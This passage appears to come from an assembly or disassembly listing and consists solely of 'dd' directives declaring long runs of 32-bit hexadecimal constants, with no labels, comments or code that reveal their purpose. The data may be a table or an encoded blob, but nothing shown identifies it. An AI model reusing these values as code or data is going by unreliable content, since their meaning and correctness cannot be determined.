		dd 382E98BDh, 0E103D2Ch, 0B178C3A1h, 17ACD3h, 6DEF9AC6h
		dd 4CE550CDh, 0A440300Dh, 0C1672664h, 0CC84BF50h, 0E1183172h
		dd 93912000h, 3D09BB72h, 81834497h, 79362BFCh, 96DA807Eh
		dd 1300576Eh, 26374D8h,	411BC5h, 0FAA5536h, 44BEBE4h, 1400FC98h
		dd 733429C8h, 384307h, 0AC464D95h, 0CDC68DF9h, 0FE073CACh
		dd 0D9E7C45Ch, 587983F0h, 136B7D0Eh, 3A81F3h, 7F2F9D10h
		dd 0FC2795A6h, 0E9108031h, 3AFDC9h, 0B95E5AF5h,	8298B457h
		dd 950CC20Fh, 64556005h, 91FA178h, 8732C3D2h, 51A90810h
		dd 0ADF820h, 26A07F11h,	2B704D69h, 6B00F4FCh, 0D31DDC27h
		dd 93D496h, 2AC9F991h, 5C6D9794h, 9A084101h, 0FB2E692h
		dd 126DFC4h, 98C91A13h,	0F6E28CC3h, 2440A8E2h, 0AD02646Eh
		dd 51EBA222h, 1C0803Ah,	0E62AFB19h, 3BE5091Fh, 7CA90E2Fh
		dd 0FCC3E491h, 2C003577h, 0E1405D73h, 1C57539Fh, 40688AF2h
		dd 21CB7D9h, 0D60B6A27h, 1AFBD55h, 3ACD3B0h, 0A12120FCh
		dd 6DC47B0h, 0D204504Ah, 0B9680074h, 7DE60A07h,	0EE0090A9h
		dd 0BBB68038h, 0F9D4CA2h, 0D0BF6943h, 0E597D8A0h, 7C1694FCh
		dd 0C002332h, 0D197AC1h, 25620767h, 9017DB64h, 0D2728A4Fh
		dd 29A3CF01h, 0B2E70CA7h, 0D44045CDh, 715B30Eh,	0E4889CFCh
		dd 0DF272056h, 4B0FE04Ch, 53B847F7h, 0E8F2008Eh, 506D6E19h
		dd 5C76407Bh, 44893930h, 4719BA9h, 0CB0DBCA1h, 0F9B0E028h
		dd 952F9A1Fh, 83E73130h, 32505CBBh, 0E2873F39h,	4457E9DAh
		dd 888534h, 0BAC7555h, 41F00D7Ah, 0E9B3C90Eh, 0AFDF6046h
		dd 73F7EDC7h, 395B0AA2h, 39903282h, 0D9434980h,	9948D8B6h
		dd 4B05E0B0h, 75972AF0h, 11DFD83h, 0F7442B61h, 61438D2Dh
		dd 73418010h, 918AA9BAh, 0E3400027h, 15547E99h,	860EC7F1h
		dd 2924C82Bh, 300803C9h, 0A5B5F0BFh, 463900CBh,	14AA2D6Eh
		dd 0D77758FEh, 26A6D000h, 59A22F78h, 45E8B6h, 57E47E4Ch
		dd 0C2778D33h, 69E75A00h, 0E219A728h, 8A350156h, 0C12DF189h
		dd 1EA06080h, 0FC79702Eh, 90727400h, 2CA46B42h,	24A552h
		dd 0EEDB8667h, 0BB0E1256h, 0C035DE9Bh, 0D8486328h, 0DD9A0416h
		dd 0C4FECB9Eh, 321F8154h, 346C041h, 59125700h, 247D6410h
		dd 4A7F1C6Bh, 4F13DE2Eh, 0E1E0AC29h, 0F209803Fh, 0D97AA0A0h
		dd 4CE85700h, 0A5B77D27h, 61D100CFh, 0ED493DADh, 0D24DF551h
		dd 6E800034h, 5E35C2BFh, 0F7901E20h, 0A9788095h, 0C49CC517h
		dd 0E5B18B00h, 2D3A9E53h, 79F0FBFDh, 61EE0BB6h,	2882277Bh
		dd 0AB80D041h, 90AA1C02h, 1DA3721Eh, 8C2CC180h,	1FA8D642h
		dd 573DACB1h, 8C13B5h, 0BAD291E8h, 0C632656Eh, 656FF8EEh
		dd 8DFE80D0h, 8BF876ECh, 0B9F2E930h, 0FC5B4Ch, 1612A22Ah
		dd 0CB65CA0Dh, 27755F07h, 0A5302096h, 0FF8A13h,	0B648086Fh
		dd 153D2E3Eh, 73015B00h, 71807F47h, 0D8932CAAh,	84B78034h
		dd 2AA2BFC7h, 7696A104h, 44C071AFh, 53CCD8Eh, 63D16A39h
		dd 258403CCh, 73E03246h, 2200A2DAh, 880B7045h, 750E279h
		dd 5C1426FDh, 0A62000CDh, 315EB25Dh, 59E20C00h,	0C0C1CD0h
		dd 0CA5E305Ah, 0FE7A0919h, 3F007578h, 98AACEA8h, 0C8E0CD41h
		dd 926276A1h, 0E448F0A3h, 630CFC22h, 0B6E11D9h,	94A07792h
		dd 0FE96C2AAh, 8B862801h, 0A2CE83D9h, 2495F430h, 1CE3B1h
		dd 48E68C12h, 8200D988h, 7F2777C9h, 18304BC0h, 0E1DE71CFh
		dd 4802551Fh, 0DA4A64F1h, 0D71D40CBh, 0C05D027Eh, 0E29A972Bh
		dd 929FDC80h, 392C633Ch, 0BB85BC2Dh, 57C04E6Fh,	96A503CDh
		dd 2C003D08h, 25EA46B5h, 372A7090h, 760AFC1Eh, 0F06BC4A7h
		dd 17E84660h, 5C51C128h, 601A4E6Eh, 2D775324h, 0C546F60Ch
		dd 0AB4109h, 0C8887AFBh, 53213DCEh, 0B6DFB8C0h,	7F169F79h
		dd 8EAA0118h, 0AEA526BEh, 9827D007h, 62F3171Ch,	0B6040367h
		dd 9AC0BDE5h, 7318F10h,	59180524h, 73FBC28Ch, 4627A840h
		dd 99032000h, 0DC17536Eh, 0C0F54C69h, 0EBBDF02h, 2C602FC6h
		dd 1F1830ECh, 0A539497Ah, 52C91CD5h, 0D41080B0h, 380B4AEBh
		dd 56251E6h, 0A1F19994h, 0C7F5BDFCh, 4093E850h,	69C31566h
		dd 0B500F8BBh, 229DE62Ah, 2350A861h, 760C2480h,	11B149CAh
		dd 564F02DFh, 9BF9EC85h, 4421A060h, 26AE1801h, 0C2B18D89h
		dd 7092E971h, 8304016Dh, 0F053E960h, 0B300B723h, 321D2E91h
		dd 7E3654E3h, 0D067136Dh, 0C0DC0041h, 10A9177Bh, 833FE700h
		dd 958BA2B6h, 0B0A5004Bh, 0ACAE5A06h, 0F00C30Dh, 3181804Fh
		dd 1EA96F3h, 5C06638Eh,	0D0EFBF25h, 620F5364h, 0E05F91D1h
		dd 5DCD76C8h, 129C4E90h, 1A90C07Ch, 0F0139EE1h,	0E801E570h
		dd 0AF1298A3h, 0B967E0CBh, 9AFD0471h, 0C07D33F4h, 4EE6E0E4h
		dd 0AA509B0Fh, 395A80D6h, 0B5CFDFh, 0BC8931E1h,	3603BD57h
		dd 160F2000h, 68257F6Ah, 0EFD70027h, 4B854401h,	36503A43h
		dd 0FD1CE5C8h, 93C74950h, 82305F42h, 1A3AC73h, 0BA849AB3h
		dd 0C59886BFh, 1C6D70B0h, 37C30500h, 24ED1633h,	1A7D04C4h
		dd 0C04BD9FBh, 0B2193620h, 770964B8h, 52895E17h, 57973FCh
		dd 0FA030476h, 3238A053h, 0BC04F04Eh, 5F40F50Bh, 50CF553Bh
		dd 0C501AC90h, 0E1FD0D76h, 6C230B5Dh, 0D8754214h, 348B2260h
		dd 55EA092Bh, 56F5407h,	0EC402FB9h, 59175239h, 2B2E387Dh
		dd 67200B5h, 0F5B4DD6Eh, 2563BD00h, 6DA7229Ch, 0CACE00EAh
		dd 7B0F1086h, 6104DF20h, 0EBDCFEE8h, 124880B0h,	1CCD541Ch
		dd 41BD3E3Ah, 584D8F8Eh, 93F4EA64h, 1BE0266Ch, 55000DAEh
		dd 0E93C4688h, 0D827A5h, 0D334B520h, 7E9370E4h,	0D89E16E0h
		dd 0F0EE710Ch, 34F056Ah, 0F5F7F3h, 4BDB60C9h, 470E8B54h
		dd 20137153h, 83A0CF28h, 0AFBE03F8h, 2206D23Ah,	6A27FFA8h
		dd 5C75442Ch, 0F63E4103h, 0C38D90FAh, 430E761h,	39E900B2h
		dd 0C00B1064h
		dd 0C1393D7Eh, 2F6F008Ah, 371C37Fh, 70DF589Ch, 0FDE9BD02h
		dd 4E302EA7h, 93008DEDh, 8F63739Ah, 0A0490101h,	0A3CCADFCh
		dd 42C341BEh, 9045F2h, 2875F458h, 0B00D8AB2h, 98706F6Ch
		dd 866D1D5h, 0E077C112h, 0E260D18h, 0EB00B0D7h,	331C2820h
		dd 263D2CE2h, 34AC8024h, 0E4A319Eh, 3EB72Ch, 9013A1E0h
		dd 6C411F79h, 0B14040DAh, 716DBF83h, 757C2A08h,	0E0261DEh
		dd 0E82031AEh, 0BD004C24h, 0CFA92B58h, 32A7AD7h, 336F7829h
		dd 81F45E89h, 3082EEB8h, 86585DADh, 0BA2F16B8h,	32268440h
		dd 95781E19h, 9F473C80h, 0CF0305DFh, 334DF25Ah,	38A6D081h
		dd 0A2212859h, 2CF80790h, 0D0B32A10h, 6183D8CAh, 0B46F242Ah
		dd 0F524B0ECh, 0E5030C63h, 0E640440Fh, 29EC05B1h, 4358163Ch
		dd 68216280h, 0B5643900h, 65DF8AF6h, 0ECB0A8B7h, 0CDCB0788h
		dd 0A2E88960h, 0B88078C5h, 2FA67DDEh, 0D281CC01h, 80556B3Ah
		dd 0B01FD024h, 0AC150F58h, 0BB63541Ah, 5104CC01h, 1688E97Bh
		dd 63048490h, 0A73E2C7Dh, 749CC068h, 0D03BC5Bh,	0F5EF819Dh
		dd 0DE8B98A0h, 90351F3Dh, 3AE9C2CCh, 0A8C4F068h, 540CDF00h
		dd 0C05E1802h, 79A502EFh, 0E2AFAA8h, 5E01B89Ch,	1EA07138h
		dd 7980641Dh, 0DFEAB968h, 720CCD94h, 0A90FB1E0h, 1E1A1813h
		dd 0E46F2961h, 4DC9CF02h, 0C8EEE6A4h, 18844A5Ch, 709DBEC6h
		dd 87B0CD1Eh, 8FE5880Ch, 414911h, 2EFCACB0h, 83DD7693h
		dd 95FFEB0Ch, 395821E6h, 0F81B718h, 14AB0CAh, 31A8C4F2h
		dd 0B41C415Dh, 0F541C400h, 0FF245F8h, 0D3BCD58Fh, 0AADEB6C2h
		dd 85EF8C1h, 8A0C02C5h,	49AD8B62h, 0B78980A2h, 57C7C860h
		dd 95D1EB00h, 8BC00E40h, 1A2412F8h, 2C1800AFh, 38057114h
		dd 0B8ED8904h, 0AE22A6h, 83E28B76h, 7007545Ch, 0A51E4836h
		dd 0CC02855h, 386A0AD4h, 3F3FCFAh, 0CEDFCBD2h, 0C098E058h
		dd 171FD331h, 6087AA33h, 835B8C30h, 0E89E6318h,	982881FDh
		dd 417024DBh, 0D8FF8560h, 0E880403Ch, 0F7F29CD3h, 66C28C15h
		dd 0EEAD03F0h, 279EA65h, 19819A11h, 0D4A2752Dh,	24E08416h
		dd 0D32ECEAAh, 86031087h, 0B0798338h, 7B75C7h, 511022C9h
		dd 91A9EA1Ah, 90AE0F16h, 0D0304909h, 97534A14h,	77EDC0D8h
		dd 481F79CBh, 1D8002F7h, 0DC670AC5h, 0CE202C64h, 9FAE01ECh
		dd 7007CBF5h, 56245700h, 0E07D428h, 6220D03Dh, 2AC3D6h
		dd 0A0863C96h, 0AD0C4212h, 5846233Ch, 0C95200FCh, 50F04459h
		dd 0FF4800E8h, 0BAD279Ah, 3300FB2Dh, 975FA121h,	7D478995h
		dd 0F46DECAFh, 99DA0044h, 206ECB3Dh, 8F24D096h,	0FC07D4F5h
		dd 0C433EED1h, 0D692B1B3h, 17A3CDFCh, 276921h, 4F3B73E8h
		dd 70046628h, 45FBBDD7h, 1F0014ADh, 10AC1395h, 7B0F39E3h
		dd 74158BEEh, 0B1051FE0h, 5B0848E5h, 834C0001h,	97C384C6h
		dd 0EE0352D5h, 7B56CCD4h, 0C8DBF03Ah, 0F40A27B8h, 5EE00C80h
		dd 0C019A22h, 3935EB3Bh, 6C69106Eh, 0F4214027h,	289B0EC0h
		dd 227900B0h, 844BC474h, 0C8D8A012h, 529F005Ah,	67F6AF41h
		dd 6405257Dh, 7C314B7Eh, 7A96DC80h, 5CC5135Eh, 6630009Ch
		dd 0CD7398B6h, 650ED800h, 1C274AF3h, 0F52EC583h, 0C8EC8CCEh
		dd 5750B002h, 235C4829h, 43D09E35h, 9004C2A9h, 4120AED1h
		dd 0C8534490h, 337C0022h, 5BE555BEh, 1300E396h,	0E7EDA48h
		dd 90DF7512h, 8A1B026Ch, 5887999Bh, 0FC03D4C2h,	0A88854E1h
		dd 0BF015AF7h, 0C2DD7EC7h, 64285232h, 8ABD8F14h, 1680E428h
		dd 709EBBC3h, 2B249D94h, 2D735E07h, 2200EE1Fh, 0F446ABh
		dd 61FBB4CDh, 0CAE34DD5h, 6D9E2C9Ch, 97D21CC0h,	12B993FCh
		dd 0BFE2FDh, 605501F3h,	24008AC3h, 46FA1291h, 0ED5EE56Ch
		dd 1B58BE0h, 6992D7E9h,	407E7DE6h, 1D859680h, 2C175300h
		dd 79ED9BD5h, 4E8A0D8h,	6C38A2E0h, 0D6470104h, 0CDC8881Eh
		dd 0D86520EAh, 5649B300h, 0A3D576CFh, 69C50C2Ah, 5549D3BEh
		dd 0C1D58h, 61FAF2BCh, 0B12E34B8h, 0B6DE0078h, 93257E1Ah
		dd 0C68CA254h, 70B1D1EAh, 9812FB96h, 89E598CCh,	5545C041h
		dd 0A020D930h, 12FEAC9Fh, 0C831432Eh, 0E12472F8h, 0C80DD4CCh
		dd 3EF4C90Ch, 54D04950h, 0AA7BC006h, 7300D90Ah,	0A89474DBh
		dd 2F55E5h, 0BB6A6705h,	0A7595EE8h, 0E00C0F2Ch,	0C2D24810h
		dd 107988ECh, 0C708004Bh, 0BF74A8Dh, 0F9773F54h, 0AF8100A0h
		dd 29E2EF07h, 0A0183A00h, 0D596D297h, 733B0903h, 4C0E29Ch
		dd 26003931h, 67989A70h, 0BCADD0h, 0D0987E4h, 0B8DE74CAh
		dd 9C2FF000h, 0FF65EB6Fh, 4EE90057h, 0E0CDE5DCh, 0E609B4F4h
		dd 72E48E5Ah, 8C430CB8h, 0EF285611h, 4092B800h,	664DD023h
		dd 0EC3449D8h, 4CBE980Ah, 8A3BB8CCh, 7E1AB0Ah, 314593C0h
		dd 1E80BDCh, 0DC3D1617h, 3B5ED92Ch, 0D2F94A00h,	551351E0h
		dd 7F3C1012h, 3000E0h, 0EBC26595h, 18796772h, 0C834F826h
		dd 5E9E2100h, 7F545D5h,	0CFD04468h, 1480497Ch, 57185316h
		dd 1AA18300h, 2D4E55EDh, 5F874h, 6F580CC2h, 0E3B87E4Ch
		dd 0A8269800h, 0A13B856Eh, 0B610E94h, 0B220A6D1h, 4F7866BCh
		dd 326753Ah, 0BD0E4BC1h, 11B801A4h, 2407370Bh, 74F4415Ch
		dd 9CE4F850h, 0F6535700h, 0C160408Eh, 7B7707BFh, 100FA62Eh
		dd 3C62803Ah, 1C03D01Ch, 7340C7DFh, 445BF2E7h, 41FA1EF8h
		dd 2983C25Eh, 0C8C0E2F4h, 0F74FFD53h, 925C04D0h, 0A8D30096h
		dd 3E59FB16h, 1544326Eh, 0FC10007Bh, 6AD35AE0h,	2000D5D9h
		dd 0B4A94491h, 1F7B002h, 0CFFAE44Fh, 105ECA84h,	7438E6B5h
		dd 89C60043h, 2C25CE1Bh, 21C3C75Dh, 0F0DF4ECDh,	9A18882h
		dd 8AFDF09Bh, 0CC64E025h, 44002254h, 5DCF9373h,	0D86AD4h
		dd 83E356EEh, 0C1A4FD2Dh, 0BC96200h, 44C502E1h,	489F76FAh
		dd 390F0C1Eh, 0C1C0066Ch, 0E96A312Dh, 0F2816702h, 0E07C4EE5h
		dd 7F1EDACh, 287A2BFBh,	0DD6E90BBh, 3800962Dh, 7451D90Ah
		dd 49852Eh, 0A6FFEA66h,	0E3480102h, 4382CB0h, 9432FC96h
		dd 107DB9BFh, 6A6A8262h, 0CB021068h, 0A0C8EB74h, 0C4A020DCh
		dd 93280098h, 4FB279E9h, 0AF00E687h, 1E1421FFh,	0C8152E4h
		dd 0C8BA6FC1h, 0F11D4CD8h, 0B016FD76h, 0B423BE00h, 8DA5ECh
		dd 24B0642h, 56E81254h,	78983800h, 6050C0AFh, 2563008Dh
		dd 0F083EDB9h, 0CE2F44DEh, 320482DAh, 29D4E078h, 2B4BEE6h
		dd 0F38B8434h, 9D01DC7Eh, 2D44180Dh, 33E76E0h, 0CADDE262h
		dd 0F6B0FC9Fh, 3700BE26h, 89408B98h, 0AEEDD1h, 1E793D86h
		dd 1175FE01h, 0B6729DF2h, 0EFB7DB00h, 3A0AE755h, 3DA30715h
		dd 20FF4285h, 0BAD66931h, 29961900h, 43DB678Dh,	0D0140160h
		dd 0DDE657E9h, 0ECB040A2h, 7C01C4C9h, 4EDAFE1Bh, 59C4EB05h
		dd 829E0A36h, 0C95EA6h,	479538B2h, 0B0B0BBA8h, 0F8A55F00h
		dd 0CDD24A6Eh, 2127703h, 0A01B4F27h, 8840DC6Dh,	0FFF304DBh
		dd 0E59BB816h, 718AE420h, 9E8E00CEh, 9920A0FAh,	5100DB5Ch
		dd 0BDD5C04Fh, 7F35ACD0h, 580B483h, 81A22F52h, 3EEA97CEh
		dd 6E1EFFC0h, 778A12C8h, 80141CF1h, 8C35A1E9h, 0CA07B4FBh
		dd 0DB85FE9Eh, 0ECFAB9h, 9086F0BBh, 658F29DEh, 13D8239h
		dd 0F710AD76h, 0E9E8DA5Dh, 30C102ABh, 1A4C7326h, 6ECDB8E0h
		dd 0A22AD20Eh, 0C8592010h, 1B5A8D5h, 0BC2D29C5h, 0E02C3EEEh
		dd 0C106AC1Eh, 0FA642880h, 237FB8h, 8561490Ah, 0D9164DD8h
		dd 310878BEh, 0C07D9D01h, 2B941C5Ch, 710948DFh,	85FB4FE0h
		dd 0D000A3EBh, 0C1519DCh
		dd 2B2F02C4h, 3BD8F51Eh, 0D2CEFFC0h, 0C60D761Dh, 0C5EF4280h
		dd 6B9897h, 968FABB4h, 83BABE88h, 42539D17h, 2B9E7001h
		dd 0D0505D91h, 0BE1F54EBh, 5EF045ECh, 0B831C0B8h, 0E099B550h
		dd 4C38120h, 3F757BFCh,	206C00F2h, 746D19h, 46036F22h
		dd 51107C05h, 2B00E898h, 3EABE3BEh, 7E01558h, 0F44B2D66h
		dd 0CB769055h, 630005AEh, 8813A0DCh, 283B59E8h,	3B81585h
		dd 250A2695h, 2DA748Ch,	0A3729868h, 76C83Ah, 0C3400634h
		dd 6AD10Dh, 0DE6BCC5Dh,	4A9722DBh, 0AB4A507h, 703045EFh
		dd 97E7BD26h, 54FAA49Ah, 6FF40F7h, 34008ACDh, 0BE37C9Ah
		dd 77DB6C5Dh, 28849865h, 608CBE89h, 0A7CB117Dh,	0A4F3B9Fh
		dd 12754CC3h, 0D7AFD319h, 789B7008h, 0EF0C135Eh, 769FF4C8h
		dd 63CF4C48h, 4DD75C00h, 99D1C453h, 3802D412h, 4CA240B0h
		dd 0D20210C7h, 6173FC7Ch, 25D80CC8h, 0AFEF9200h, 6BE771C7h
		dd 0EB5400B3h, 761C36E2h, 844C9803h, 0DBF90034h, 0BD4EB63Ah
		dd 652B02A1h, 5AC78994h, 0CABA05C0h, 0C50C0A05h, 78D10D2Fh
		dd 0DC728B86h, 2DA27305h, 242490B4h, 3CF2150Eh,	0C1DC4D00h
		dd 0CF73E994h, 0BCCC077Dh, 20D2328Fh, 1E2CE5A1h, 0F2A0D0A0h
		dd 2A4F3A1Dh, 0A3904ED8h, 6A231A1Ch, 0BCC0D8C5h, 0ACB05EF0h
		dd 926F21C0h, 0B5E987h,	65C50FC9h, 1F62974Dh, 0FD507302h
		dd 0E854AC35h, 7F2A9150h, 0E250F29h, 0B8B46A42h, 32C30580h
		dd 5700B930h, 0A52F9DBFh, 350C0Eh, 5609E7D2h, 0F3A3814Ah
		dd 0DC42BA4Fh, 0E0E0DE5Ah, 24982Ch, 32B7208Fh, 1542C675h
		dd 0C2941300h, 35A95F4Fh, 0F97F34h, 84332ACEh, 73C455E1h
		dd 303072Dh, 0E31E0h, 0D1CE5FE0h, 0DF63B9A4h, 2C596200h
		dd 0B4C889Ah, 0EA3400EFh, 1FD161E2h, 670BF9ACh,	80A84FD7h
		dd 0B95474B0h, 18D198E8h, 382DA65Eh, 0A700782Eh, 0E2669F9Bh
		dd 22BD306h, 0CFBC2CA5h, 8C80AB13h, 0E48C3642h,	9E20550Fh
		dd 0E9126016h, 127DB807h, 0B0932EF6h, 200B138h,	4834760Dh
		dd 10B7C19h, 1C4D6A5Fh,	0F53F7170h, 94006B0Ah, 4EEAF49Ah
		dd 144C097Eh, 78E2C946h, 1880CCD4h, 3351E715h, 0E67C68h
		dd 0EB0CA5AAh, 0E3BC6520h, 2421464Ah, 0FE008B9Bh, 971C643h
		dd 9D8194A2h, 6166D74Dh, 0AF7EFCE4h, 0B0A2F42Ch, 61169106h
		dd 0B9EE3B18h, 0E720438Bh, 0F1F01480h, 5804F2B7h, 38F54C2h
		dd 6DB00C92h, 77368014h, 0EFC9B6E3h, 89253CB0h,	7FCC46Ah
		dd 0DB1FA54Fh, 1A210CBEh, 7B6F0D0Eh, 1D5100C0h,	0E26104C5h
		dd 0DAD6001Eh, 0CF19A748h, 8903C29Ah, 984DE7B7h, 0AF280050h
		dd 13B17BCBh, 0FB004C7Ah, 0CD717652h, 0D396FAh,	3F0A08A9h
		dd 0FCF03CD5h, 5E4F3Bh,	0AFE8D1C5h, 33F2D93Bh, 0EDD00A3Dh
		dd 855148E0h, 7AEB24h, 0E8409A13h, 428C928Bh, 0E0BD0057h
		dd 6CFB8A0h, 0FA071D24h, 0E56E3ADFh, 0F87099h, 0C543E1C3h
		dd 0BE013E7Bh, 4F90AB00h, 0E589A60Fh, 9CA90070h, 0B1809EB7h
		dd 333B09B8h, 41A80576h, 0D8875E1Ah, 0E6EF6D80h, 71D904F7h
		dd 0C007059Eh, 1D8D8E0Ch, 0DBB5D501h, 1F7AFB0Dh, 0FA9E30E8h
		dd 0CB070C6Eh, 4F86D65Ch, 0C783500h, 1B258D34h,	4652247Eh
		dd 0DF803F08h, 543A5C05h, 0F8A02ACCh, 0AE1877C4h, 0B9114421h
		dd 6E0CEh, 34C94ADh, 9DDB1ECAh,	0C90021B0h, 0FCAA0B87h
		dd 90909AC8h, 0F3602510h, 8C107485h, 5D507468h,	41001BD0h
		dd 8225E43Eh, 0B69C800Dh, 0B5B00CC4h, 0F3039720h, 0C6A629ABh
		dd 3F800418h, 0BD858148h, 0C7296084h, 60CFF1A3h, 698BC8B3h
		dd 68B12465h, 0B4238239h, 6032DF87h, 88435AB4h,	3D5AD895h
		dd 4967AC4Eh, 0B4AF7Bh,	82051B83h, 430D0D71h, 4080597Ch
		dd 0C51950D0h, 0CEAF7602h, 51479EAAh, 70F60884h, 0FE192201h
		dd 11809411h, 0FD103E69h, 8CA0CDA0h, 1E882F5Ah,	82009CBDh
		dd 0B1DA56E1h, 600990D2h, 722F024h, 0B2B09CD0h,	0F3948DA1h
		dd 757DA451h, 1580D004h, 749C2E5Bh, 0A250E404h,	4E83084h
		dd 0D9E513h, 856C2F20h,	0D5008CF0h, 0DFD860B3h,	0EC9326h
		dd 0C278C6AEh, 3D4A54B4h, 0F34FB000h, 26A92CD9h, 0C1C40E1Dh
		dd 5CEB63DDh, 77276180h, 752D7ECBh, 4F5868C3h, 0E63C2620h
		dd 9560BE4h, 683EBB82h,	8C37AF80h, 0EDE4CE82h, 0D644A295h
		dd 3FDC7EBDh, 3C816A00h, 0DB275FFh, 0D942F606h,	0A098E864h
		dd 0E4DA91C2h, 91FD5FE7h, 6DF9B214h, 0AFA12DFCh, 9AE8B880h
		dd 46B900D0h, 64ADFEF5h, 0DA0F4B06h, 439CA7D3h,	0C2C6B2BDh
		dd 406CE170h, 72D693ECh, 3CA40099h, 62172B67h, 8D074ADDh
		dd 0D21CB4C0h, 0E6852C70h, 89B854h, 0EC8ECE73h,	566A269Ch
		dd 8402DCFAh, 23EB9FCBh, 64522Ah, 0A9107381h, 322BB517h
		dd 39060A1Fh, 23DAD980h, 2838794h, 1DB6D27Bh, 24DE44F9h
		dd 11305E00h, 729C24EEh, 422260B1h, 1F5231F4h, 0C845FB00h
		dd 0F24B3433h, 81785Dh,	95B69F4Ah, 0D4F7BFFFh, 2FC4994Dh
		dd 5E04B078h, 1D52006Bh, 0AD03247Fh, 6C008188h,	0C17B78C5h
		dd 39CEEB74h, 5B00E057h, 0D7C30CA9h, 0AE4CBB3Eh, 1B240F74h
		dd 8A56E418h, 72FF84C0h, 2688B87Dh, 56FB3Fh, 568646D7h
		dd 6E00303Eh, 994EF95h,	3B1E2901h, 0E3BE6292h, 73439D00h
		dd 1BA89EC7h, 21883Ch, 8A4B7008h, 0BFDE97E0h, 0EDDF1800h
		dd 0F4E9BD28h, 0BC942D85h, 4021193Eh, 76035330h, 27F440E7h
		dd 1700F20Ah, 0FC66DFF9h, 36AC6Eh, 0DA5EAB41h, 2940F3B3h
		dd 9401484Ah, 923E9704h, 67783450h, 0A20702A6h,	3385D640h
		dd 0F5A53881h, 6AA88128h, 4FD01608h, 0DA12E0C3h, 0E480001Dh
		dd 0DFB937FBh, 87007214h, 3A734ECh, 7949AB5Ch, 1EAEFh
		dd 70E23CB9h, 0FD6A31FBh, 10034000h, 9B7266A7h,	1CF678h
		dd 63E013Fh, 70130888h,	2B293000h, 75626D05h, 0E19D003Bh
		dd 2AC843CCh, 0E73D3CC2h, 0D37E00FCh, 455F719h,	48A70070h
		dd 0CBC6C2Bh, 0A5000844h, 3D2DA8A1h, 75AFD64Bh,	0A3B45CBFh
		dd 0CC9B1B00h, 7DE339D8h, 863B1E02h, 754A843Ah,	92002CF4h
		dd 1B62A12Dh, 55CF39A6h, 614FF102h, 60688B41h, 1600BEFBh
		dd 0B74FFD4h, 191208Ah,	85F1F327h, 9FEC2555h, 60403729h
		dd 3D070BF2h, 0BFC30229h, 80899F63h, 874C8A0h, 8B070B36h
		dd 9CB39240h, 0D398AB40h, 0D47848h, 9B234764h, 2832A1CBh
		dd 3A60CF74h, 4D2AA808h, 23661BEFh, 3FA030E0h, 8A0010ECh
		dd 0A59C6C24h, 1C20EDB2h, 0C0F7986Eh, 601799ABh, 1C3013E8h
		dd 40F1069h, 0FF650059h, 7437A5EDh, 0B3024A3h, 89E790B3h
		dd 0E3D1000Eh, 0DBAE5F2Dh, 0B830BE2Fh, 7222E007h, 18574916h
		dd 36C83E00h, 449BD458h, 2000BDECh, 8F617010h, 4955FE5Ch
		dd 0AE06D023h, 395016E7h, 6E2E9B12h, 1716C07h, 0BA055730h
		dd 9466000Ah, 1D434CD5h, 9C186EB8h, 0CE40E25Ch,	0E0280537h
		dd 0BC63ECC8h, 812401B4h, 0FDB4BE3h, 5D76208Ch,	1F505561h
		dd 3128B33Ch, 17309406h, 0BBED2158h, 0CC8002Ah,	0A59AA9BDh
		dd 15224496h, 9D67015Ch, 0D3E102C6h, 4002604Dh,	0BF3A981Eh
		dd 90B68873h, 3AB1512h,	0D99180D1h, 0FFC0856Ah,	660056ADh
		dd 1643C407h, 1342C7E3h, 0C97768h, 85D317B1h, 9B03F318h
		dd 2902EE48h, 0A412A36Eh, 6A5187C1h, 268E1020h,	373A37E0h
		dd 3641A391h, 87E4D11Fh, 6EE07C0h, 0F62E18CBh, 0A23E00E9h
		dd 0CD5B263Bh, 940851EAh, 807A16E5h, 85752F9Fh,	58C801B9h
		dd 9DBF8E56h, 2A060090h
		dd 6BA3C45Ah, 1BC901FAh, 40DAE8ABh, 7814D3E7h, 3A9A9668h
		dd 417000E2h, 0BCACBAECh, 6A1E0174h, 5D46D8A5h,	711C8FCh
		dd 8033A400h, 0F9D055E5h, 85C200D2h, 8F24768Ch,	0A403C65Ah
		dd 58719E4Fh, 41788Ah, 6FFEAC80h, 0FAA6311Fh, 0D1CB2E0Fh
		dd 2063EC7Eh, 201B3A1Eh, 9D253160h, 0BF2E91A0h,	0B40183E2h
		dd 39052D2Ah, 7DF70F0h,	19CA548Eh, 0C77880A6h, 3D005A80h
		dd 0E5B0BF1Fh, 0A310BEh, 0E2FE8E7Fh, 8384C312h,	0B6278200h
		dd 2F259B6Dh, 0A7F3C9Dh, 0BC052406h, 0C702797Ah, 86D07EC0h
		dd 0E0EBC3FBh, 627CF44h, 5FA27BB2h, 0BF00F86Fh,	0A9E44F45h
		dd 9F6A7978h, 840CDFC1h, 1FBC71C9h, 1BA0494Eh, 5F91D336h
		dd 7D86FE00h, 0A40D7620h, 8351012Ah, 0F69A1301h, 6B94521Ch
		dd 1FD47A60h, 2E0758C0h, 663CE6h, 43A29153h, 0CD74E977h
		dd 3FF61E00h, 32F1D558h, 65D41D63h, 27670033h, 992D835Dh
		dd 2674C4ECh, 74DF5000h, 31CBAB93h, 7CD8F897h, 0FF6F22Bh
		dd 0F5649037h, 9B06FC9Dh, 10579195h, 8D66E000h,	85AAD474h
		dd 38D2005Ch, 549B047Ch, 960027C0h, 9437839Fh, 3C35F75Dh
		dd 77C6790h, 2BF363E6h,	8A38695h, 0E02A30C1h, 9EF1CA9Dh
		dd 8FC083D1h, 2FF10350h, 21F7ABC7h, 7A6424F5h, 0AD83EF04h
		dd 1000C0C6h, 150EC285h, 1FFCBD78h, 5E3B3768h, 0F00D0434h
		dd 76CF4042h, 7859C39h,	26358EDh, 9351DC0Fh, 8917C100h
		dd 0F070F7B8h, 8A766B3h, 0F51E218Ah, 67C717A9h,	0EB74254Ch
		dd 4EE43D43h, 2E7F90DEh, 0D05B8119h, 52A74A1h, 0C1834D87h
		dd 8CB35541h, 20644008h, 76BB0396h, 65A36602h, 0F8529900h
		dd 0D08EC6C1h, 256C0CCCh, 57C170E0h, 8140AE73h,	50161532h
		dd 286288BEh, 0FC007498h, 0C1EF6A51h, 0A9339340h, 9872ACh
		dd 3B2A4CC5h, 19876472h, 8F7E4D0h, 0B72180C9h, 0C6752A85h
		dd 3B43F4B0h, 0A786DA67h, 615CBD73h, 13B5660Ah,	5B878C3Eh
		dd 0D0515748h, 6CC0C073h, 0A36E0C1Eh, 0B9A88519h, 0D4DDE400h
		dd 0A8D57E03h, 18996814h, 3238C4A0h, 768B3084h,	9B4DAC11h
